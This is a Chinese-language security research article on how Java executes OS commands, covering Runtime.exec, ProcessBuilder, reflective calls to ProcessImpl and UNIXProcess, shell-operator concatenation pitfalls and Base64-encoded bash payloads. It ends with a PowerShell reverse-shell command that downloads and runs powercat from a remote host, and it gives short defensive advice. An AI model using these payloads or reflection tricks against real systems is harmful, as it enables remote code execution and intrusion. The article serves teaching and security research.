JAVA安全之命令执行研究分析
字数 2050 2025-08-22 12:22:30
Java安全之命令执行研究分析
文章前言
命令执行漏洞是Java中一个常见的安全问题。本文主要研究Java原生命令执行方式及其非预期问题,包括:
- 可控命令执行点使用管道符拼接时无法达到预期效果的原因
- 输入内容为整个命令时在某些情况下不执行的问题
- Linux和Windows平台的差异性分析
- 反弹shell的研究
Java命令执行方式
1. Runtime.getRuntime().exec()
基本介绍
Runtime.getRuntime().exec()是Java中用于执行外部系统命令和程序的方法,属于java.lang.Runtime类。它允许Java应用程序调用操作系统的命令行工具、启动其他应用程序等,返回一个Process对象用于管理和控制正在运行的进程。
方法重载形式
public Process exec(String command) throws IOException
public Process exec(String[] cmdarray) throws IOException
public Process exec(String command, String[] envp) throws IOException
public Process exec(String[] cmdarray, String[] envp) throws IOException
参数说明
command: 要执行的命令字符串cmdarray: 字符串数组,包含命令及其参数envp: 可选的环境变量数组
示例代码
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class RuntimeExec {
public static void main(String[] args) {
try {
// 执行命令
Process process = Runtime.getRuntime().exec("cmd.exe /c calc");
// 获取命令输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
// 等待命令执行完成
int exitCode = process.waitFor();
System.out.println("Exited with code: " + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
执行流程分析
- 调用
Runtime.getRuntime().exec(String command) - 内部调用
exec(String command, String[] envp, File dir)重载方法 - 使用
StringTokenizer将命令字符串按空白字符(\t \n \r \f)分割成数组cmdarray - 调用
ProcessBuilder(cmdarray).environment(envp).directory(dir).start() - 在
ProcessBuilder.start()中:- 检查
cmdarray参数是否包含null - 将第一个参数作为要执行的程序
- 检查后续参数是否包含空字符
\u0000
- 检查
- 调用
ProcessImpl.start()创建进程 - 使用Win32函数
CreateProcess创建实际进程
2. ProcessBuilder.start()
基本介绍
ProcessBuilder是Java中用于创建和管理操作系统进程的类,提供更灵活的方式来配置和启动新进程。
示例代码
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ProcessBuilderEXP {
public static void main(String[] args) {
try {
// 创建ProcessBuilder实例
ProcessBuilder processBuilder = new ProcessBuilder("cmd.exe", "/c", "calc");
// 启动进程
Process process = processBuilder.start();
// 读取进程输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
// 等待进程结束
int exitCode = process.waitFor();
System.out.println("Exited with code: " + exitCode);
} catch (Exception e) {
e.printStackTrace();
}
}
}
执行流程
与Runtime.exec()类似,最终都是通过ProcessImpl.start()创建进程。
3. ProcessImpl.start()
基本介绍
ProcessImpl的start()方法由ProcessBuilder和Runtime.exec()调用,负责创建新的操作系统进程。
反射调用示例
import java.io.ByteArrayOutputStream;
import java.lang.ProcessBuilder.Redirect;
import java.lang.reflect.Method;
import java.util.Map;
public class ProcessImplExec {
public static void main(String[] args) throws Exception {
String[] cmds = new String[]{"cmd.exe", "/c", "calc"};
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class,
String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, cmds, null, ".", null, true);
// 读取输出
byte[] bs = new byte[2048];
int readSize = 0;
ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
while ((readSize = e.getInputStream().read(bs)) > 0) {
infoStream.write(bs, 0, readSize);
}
System.out.println(infoStream.toString());
}
}
4. UNIXProcess (Linux平台)
基本介绍
在Linux中,Java通过UNIXProcess类调用底层原生方法实现命令执行。
反射调用示例
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
public class ProcessImplExec {
public static void main(String[] args) throws Exception {
String[] cmd_array = new String[] {"touch", "al1ex.txt"};
Class<?> clazz = Class.forName("java.lang.UNIXProcess");
Method method_toCString = clazz.getDeclaredMethod("toCString", String.class);
method_toCString.setAccessible(true);
Constructor<?> constructor = clazz.getDeclaredConstructor(
byte[].class, byte[].class, int.class, byte[].class,
int.class, byte[].class, int[].class, boolean.class);
constructor.setAccessible(true);
constructor.newInstance(
(byte[]) method_toCString.invoke(null, cmd_array[0]),
new byte[]{97, 108, 49, 101, 120, 46, 116, 120, 116}, // "al1ex.txt"
1, null, 0, null, new int[]{-1, -1, -1}, false);
}
}
5. forkAndExec (Linux平台)
基本介绍
forkAndExec()是Linux中创建新进程并执行指定程序的关键方法,使用fork()系统调用创建子进程。
反射调用示例
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
public class forkAndExec {
public static void main(String[] args) throws Exception {
String[] cmd_array = new String[] {"touch", "Al2ex.txt"};
Class<?> clazz = Class.forName("java.lang.UNIXProcess");
Method method_toCString = clazz.getDeclaredMethod("toCString", String.class);
method_toCString.setAccessible(true);
Constructor<?> constructor = clazz.getDeclaredConstructor(
byte[].class, byte[].class, int.class, byte[].class,
int.class, byte[].class, int[].class, boolean.class);
constructor.setAccessible(true);
Method method_forkAndExec = clazz.getDeclaredMethod("forkAndExec",
int.class, byte[].class, byte[].class, byte[].class,
int.class, byte[].class, int.class, byte[].class,
int[].class, boolean.class);
method_forkAndExec.setAccessible(true);
Object o = constructor.newInstance(
(byte[]) method_toCString.invoke(null, cmd_array[0]),
new byte[]{65, 108, 50, 101, 120, 46, 116, 120, 116}, // "Al2ex.txt"
1, null, 0, null, new int[]{-1, -1, -1}, false);
int pid = (int) method_forkAndExec.invoke(o, 2, null,
new byte[]{116, 111, 117, 99, 104}, // "touch"
new byte[]{65, 108, 50, 101, 120, 46, 116, 120, 116}, // "Al2ex.txt"
1, null, 0, null, new int[]{-1, -1, -1}, false);
}
}
命令拼接问题
Linux平台
问题现象
Runtime.getRuntime().exec("echo Al1ex && touch Al1ex.txt");
上述代码中,&&拼接的touch Al1ex.txt不会执行。
原因分析
Java将整个字符串作为命令参数处理,而不是作为shell命令解析。第一个空格前的部分(echo)被当作命令,其余部分(Al1ex && touch Al1ex.txt)被当作参数传递给echo。
解决方案
- 使用数组形式:
String[] command = {"/bin/bash", "-c", "echo Al2ex && touch Al2ex.txt"};
Runtime.getRuntime().exec(command);
- Base64编码:
bash -c {echo,ZWNobyBBbDFleCAgJiYgdG91Y2ggQWwxZXgudHh0} | {base64,-d} | {bash,-i}
Windows平台
管道符类型
cmd1 | cmd2:将cmd1输出作为cmd2输入cmd1 || cmd2:cmd1失败后执行cmd2cmd1 & cmd2:依次执行cmd1和cmd2cmd1 && cmd2:cmd1成功后执行cmd2
问题现象
Runtime.getRuntime().exec("ping -n 4 x.x.x.x || calc");
||被当作ping命令的参数而非管道符处理。
原因分析
Java将第一个空格前的部分(ping)作为命令,其余部分(-n 4 x.x.x.x || calc)作为参数传递。
解决方案
添加cmd.exe /c前缀:
Runtime.getRuntime().exec("cmd.exe /c ping -n 4 x.x.x.x || calc");
反弹Shell示例
Windows平台使用PowerShell
- 攻击机监听:
nc -lvp 4444
-
托管powercat.ps1
-
执行命令:
Runtime.getRuntime().exec(
"powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.204.144:1234/powercat.ps1');" +
"powercat -c 192.168.204.144 -p 4444 -e cmd");
关键总结
-
Java命令执行主要方式:
Runtime.getRuntime().exec()ProcessBuilder.start()- 底层实现:
ProcessImpl(Windows)和UNIXProcess(Linux)
-
命令拼接问题:
- Linux平台需要使用数组形式或Base64编码
- Windows平台需要添加
cmd.exe /c前缀
-
反弹Shell:
- Windows可使用PowerShell下载并执行脚本
- Linux可使用
/bin/bash -c执行复杂命令
-
安全建议:
- 避免直接使用用户输入构造命令
- 如需执行复杂命令,应使用数组形式明确指定命令和参数
- 对用户输入进行严格过滤和转义